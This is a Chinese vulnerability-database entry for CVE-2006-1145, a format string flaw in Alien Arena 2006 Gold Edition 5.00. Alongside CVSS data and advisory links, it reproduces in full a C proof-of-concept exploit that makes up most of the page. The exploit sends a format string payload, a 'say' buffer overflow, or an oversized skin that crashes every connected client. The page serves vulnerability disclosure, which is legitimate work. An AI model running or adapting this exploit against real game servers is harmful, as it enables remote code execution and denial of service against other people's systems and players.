CVE-2006-1145
CVSS6.5
发布时间 :2006-03-10 06:02:00
修订时间 :2011-03-07 21:32:08
NMCOE    

[原文]Format string vulnerability in the safe_cprintf function in acebot_cmds.c in Alien Arena 2006 Gold Edition 5.00 allows remote attackers (possibly authenticated) to execute arbitrary code via unspecified vectors when the server sends crafted messages to the clients.


[CNNVD]Alien Arena 2006 GE acebot_cmds.c格式化字符串漏洞(CNNVD-200603-183)

        Alien Arena 2006 Gold 5.00版的acebot_cmds.c中存在safe_cprintf函数存在格式化字符串漏洞,远程攻击者(可能经过身份验证)可以通过一个未明向量执行任意代码,伴随服务器向用户发送虚假短信。

- CVSS (基础分值)

CVSS分值: 6.5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1145
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1145
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-183
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/0882
(UNKNOWN)  VUPEN  ADV-2006-0882
http://www.securityfocus.com/bid/17028
(UNKNOWN)  BID  17028
http://www.securityfocus.com/archive/1/archive/1/426984/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060307 Multiple vulnerabilities in Alien Arena 2006 GE 5.00
http://www.osvdb.org/23747
(UNKNOWN)  OSVDB  23747
http://secunia.com/advisories/19144
(VENDOR_ADVISORY)  SECUNIA  19144
http://aluigi.altervista.org/adv/aa2k6x-adv.txt
(VENDOR_ADVISORY)  MISC  http://aluigi.altervista.org/adv/aa2k6x-adv.txt
http://xforce.iss.net/xforce/xfdb/25199
(UNKNOWN)  XF  alien-safe-cprintf-format-string(25199)
http://archives.neohapsis.com/archives/fulldisclosure/2006-03/0147.html
(UNKNOWN)  FULLDISC  20060307 Multiple vulnerabilities in Alien Arena 2006 GE 5.00

- 漏洞信息

Alien Arena 2006 GE acebot_cmds.c格式化字符串漏洞
中危 格式化字符串
2006-03-10 00:00:00 2006-05-01 00:00:00
远程  
        Alien Arena 2006 Gold 5.00版的acebot_cmds.c中存在safe_cprintf函数存在格式化字符串漏洞,远程攻击者(可能经过身份验证)可以通过一个未明向量执行任意代码,伴随服务器向用户发送虚假短信。

- 公告与补丁

        目前厂商还没有提供此漏洞的相关补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本.

- 漏洞信息 (1564)

Alien Arena 2006 Gold Edition <= 5.00 Multiple Vulnerabilities Exploit (EDBID:1564)
windows dos
2006-03-07 Verified
0 Luigi Auriemma
N/A [点击下载]
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <sys/stat.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

    #define close       closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/param.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define stricmp     strcasecmp
    #define strnicmp    strncasecmp
    #define stristr     strcasestr
#endif



#define VER         "0.1"
#define PORT        27910
#define BUFFSZ      8192
#define MINPROTO    0
#define MAXPROTO    256
#define RELIABLE    0x80000000
#define FUCK        "connect %d %hu"        \
                    " %d "                  \
                    "\""                    \
                    "\\spectator\\0"        \
                    "\\gender\\male"        \
                    "\\fov\\90"             \
                    "\\rate\\25000"         \
                    "\\msg\\1"              \
                    "\\skin\\%s"            \
                    "\\name\\%s"            \
                    "\\hand\\0"             \
                    "%s"                    \
                    "\" "                   \
                    "1390\n"                // message length (useless for this game)
#define MAX_OSPATH  128                     // 110 is enough, more is useless!
#define BOFSZ       (2060 - strlen(nick))   // not exact but works
#define FORMATSTR   "%01050x"               // you will see the EIP 0x30303030



int get_quake2_chall(int sd, u_char *buff, int buffsz);
void get_quake2_infoproto(int onlyinfo, int *retproto);
void delimit(u_char *data);
int quake2_build_pck(u_int seq, u_int ack, u_short qport, u_char *buff, int size, u_char *fmt, ...);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
int create_rand_string(u_char *data, int len, u_int *seed);
int info_proto(u_char *data, int choice);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);



struct  sockaddr_in peer;



int main(int argc, char *argv[]) {
    u_int   seed;
    int     sd,
            len,
            challenge,
            proto    = 0,
            attack;
    u_short port     = PORT,
            qport;
    u_char  password[128],
            buff[BUFFSZ],
            nick[16],
            *text,
            *skin    = "male/grunt",
            *command = NULL;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Alien Arena 2006 GE <= 5.00 multiple vulnerabilities " VER "\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attack:\n"
            " 1 = safe_cprintf server format string\n"
            " 2 = Cmd_Say_f server buffer-overflow\n"
            " 3 = Com_sprintf crash\n"
            "     this PoC uses a player with a big skin which automatically crash any\n"
            "     client in the server and any other new client\n"
            "\n", argv[0], port);
        exit(1);
    }

    attack = atoi(argv[1]);

    if(argc > 3) port    = atoi(argv[3]);
    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    seed      = time(NULL);
    qport     = ~seed;
    text      = buff + 4;
    *password = 0;

    get_quake2_infoproto(0, &proto);
    printf("- use server protocol %d\n", proto);

    create_rand_string(nick, sizeof(nick), &seed);  // here for buffer-overflow and redo

    if(attack == 1) {
        fputs("- attack: safe_cprintf server format string (\""FORMATSTR"\")\n", stdout);
        command = FORMATSTR;

    } else if(attack == 2) {
        printf("- attack: Cmd_Say_f server buffer-overflow (%d bytes)\n", BOFSZ);
        command = malloc(BOFSZ + 10);
        len = sprintf(command, "say ");
        memset(command + len, 'A', BOFSZ);
        command[len + BOFSZ] = 0;

    } else if(attack == 3) {
        printf(
            "- attack: Com_sprintf crash\n"
            "  exploitation versus all the clients in the server\n"
            "  note that some clients could not crash in some cases\n");
        skin = malloc(MAX_OSPATH + 1);
        if(!skin) std_err();
        memset(skin, 'a', MAX_OSPATH);
        skin[MAX_OSPATH] = 0;

    } else {
        printf("\nError: wrong attack number (%d)\n\n", attack);
        exit(1);
    }

redo:
    printf("- start connection:\n");
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    challenge = get_quake2_chall(sd, buff, sizeof(buff));

    len = quake2_build_pck(
        0xffffffff,
        0,
        0,
        buff,
        sizeof(buff),
        FUCK,
        proto,
        ++qport,
        challenge,
        skin,
        nick,
        password);
    len = send_recv(sd, buff, len, buff, sizeof(buff), 1);

    if(strnicmp(text, "client_connect", 14)) {
        if(stristr(text, "full")) {
            printf("- server full\n");
            exit(1);

        } else if(stristr(text, "password")) {
            printf("- server is protected. Insert the password required:\n  ");
            len = sprintf(password, "\\password\\");
            fflush(stdin);
            fgets(password + len, sizeof(password) - len, stdin);
            delimit(password);
            goto redo;

        } else if(stristr(text, "refused") || stristr(text, "reject")) {
            printf("\n"
                "Error: your connection has been refused without reasons:\n"
                "\n"
                "%s\n"
                "\n", text);
            exit(1);

        } else {
            printf(
                "- player has not been accepted with the following error:\n"
                "\n"
                "%s\n"
                "\n", text);
            exit(1);
        }
    }
    printf("    player \"%s\" connected\n", nick);

    if(command) {
        len = quake2_build_pck(
            1 | RELIABLE,
            0,
            qport,
            buff,
            sizeof(buff),
            command,
            NULL);      // the NULL here forces no format
        printf("    command: %s\n", buff + 11);
        len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
    }

    close(sd);
    printf("- finished\n");
    return(0);
}



int get_quake2_chall(int sd, u_char *buff, int buffsz) {
    int     len,
            challenge;
    u_char  *p,
            *text;

    text = buff + 4;

    len = quake2_build_pck(
        0xffffffff,
        0,
        0,
        buff,
        buffsz,
        "getchallenge\n");
    len = send_recv(sd, buff, len, buff, buffsz, 1);

    p = strchr(text, ' ');
    if(!p) {
        printf("\nError: No challenge key in the server's reply:\n%s\n\n", text);
        exit(1);
    }
    sscanf(p + 1, "%d", &challenge);
    printf("    challenge: %d\n", challenge);
    return(challenge);
}



void get_quake2_infoproto(int onlyinfo, int *retproto) {
    int     sd,
            len,
            proto;
    u_char  buff[BUFFSZ],
            *text,
            *p;

    proto = 35;
    text  = buff + 4;

    printf("- request informations and retrieve server protocol:\n");
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    len = quake2_build_pck(
        0xffffffff,
        0,
        0,
        buff,
        sizeof(buff),
        "status");
    len = send_recv(sd, buff, len, buff, sizeof(buff), 1);

    if(*buff == '\\') {
        printf("- the port you have specified seems a query port so I try to query it:\n");
        len = send_recv(sd, "\\status\\", 8, buff, sizeof(buff), 1);
        len = info_proto(buff, 0);
        if(len > 0) {
            printf("- relaunch this tool specifying the port %d\n\n", len);
        }
        close(sd);
        exit(1);
    }

    proto = info_proto(text, 1);

    if(onlyinfo || *retproto) return;

    if(proto < 0) {
        printf(
            "- no server protocol specified in the server's reply.\n"
            "  I try to retrieve it with a fast scanning\n");
        for(proto = MINPROTO; proto < MAXPROTO; proto++) {
            printf("- try protocol %d: ", proto);

            len = quake2_build_pck(
                0xffffffff,
                0,
                0,
                buff,
                sizeof(buff),
                "info %d",
                proto);
            len = send_recv(sd, buff, len, buff, sizeof(buff), 0);
            if(len < 0) {
                printf("- no reply from the server, I try to get protocol from challenge");
                len = quake2_build_pck(
                    0xffffffff,
                    0,
                    0,
                    buff,
                    sizeof(buff),
                    "getchallenge\n");
                len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
                printf("  %s\n", text);
                p = strchr(text, '=');
                if(p) {
                    sscanf(p + 1, "%d", &proto);
                } else {
                    printf("- no protocol in the reply from the server\n");
                    proto = 35;
                }
                break;
            }

            if(!stristr(text, "wrong")) break;
            printf("%s\n", text);
        }
        if(proto == MAXPROTO) {
            printf("\nError: I have not been able to retrieve the server's protocol\n\n");
            exit(1);
        }
        fputc('\n', stdout);
    }

    close(sd);
    *retproto = proto;
}



void delimit(u_char *data) {
    while(*data && (*data != '\n') && (*data != '\r')) data++;
    *data = 0;
}



int quake2_build_pck(u_int seq, u_int ack, u_short qport, u_char *buff, int size, u_char *fmt, ...) {
    va_list ap;
    int     len;
    u_char  *p;

    p = buff;
    *(u_int *)p = seq;
    p += 4;

    if(seq != 0xffffffff) {
        *(u_int *)p = ack;
        p += 4;
        *(u_short *)p = qport;
        p += 2;
        *p++ = 4;
    }

    len = p - buff;

    va_start(ap, fmt);  // check to avoid sprintf, is not important if fails or not
    if(va_arg(ap, u_char *)) {
        va_end(ap);
        va_start(ap, fmt);
        len += vsnprintf(p, (size - 1) - len, fmt, ap);
    } else {
        len += snprintf(p, (size - 1) - len, "%s", fmt);
    }
    va_end(ap);

    return(len + 1);    // NULL byte too
}



int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) {
    int     retry,
            len;

    for(retry = 3; retry; retry--) {
        if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        if(!timeout(sd)) break;
    }

    if(!retry) {
        if(!err) return(-1);
        fputs("\nError: socket timeout, no reply received\n\n", stdout);
        exit(1);
    }

    outsz--;    // NULL bytes handling
    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    out[len] = 0;
    return(len);
}



int create_rand_string(u_char *data, int len, u_int *seed) {
    u_int   rnd;
    u_char  *p;
    const static u_char table[] =
                "0123456789"
                "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                "abcdefghijklmnopqrstuvwxyz";

    rnd = *seed;
    p   = data;

    len = rnd % len;
    if(len < 8) len = 8;

    while(--len) {
        rnd = (rnd * 0x343FD) + 0x269EC3;
        rnd >>= 3;
        *p++ = table[rnd % (sizeof(table) - 1)];
    }
    *p++ = 0;

    *seed = rnd;
    return(p - data);
}



int info_proto(u_char *data, int choice) {
    int     nt  = 1,
            ret = -1;
    u_char  *p;

    while((p = strchr(data, '\\'))) {
        *p = 0;
        if(nt & 1) {
            if(!ret) {
                ret = atoi(data);
                if(!ret) ret = -1;
            }
            printf("%s\n", data);
        } else {
            if(choice) {    // protocol
                if(!stricmp(data, "protocol") || !stricmp(data, "proto")) ret = 0;
            } else {
                if(!stricmp(data, "hostport")) ret = 0;
            }
            printf("%30s: ", data);
        }
        data = p + 1;
        nt++;
    }
    printf("%s\n\n", data);
    return(ret);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec  = 1;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)(hp->h_addr);
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2006-03-07]
		

- 漏洞信息

23747
Alien Arena 2006 Gold Edition acebot_cmds.c safe_cprintf() Function Format String
Remote / Network Access, Local / Remote, Context Dependent Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote format string vulnerability in Alien Arena 2006 Gold Edition is triggered when a crafted string is sent to the safe_cprintf() function in acebot_cmds.c. An attacker can cause arbitrary code execution, resulting in a loss of integrity.

- 时间线

2006-03-07 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站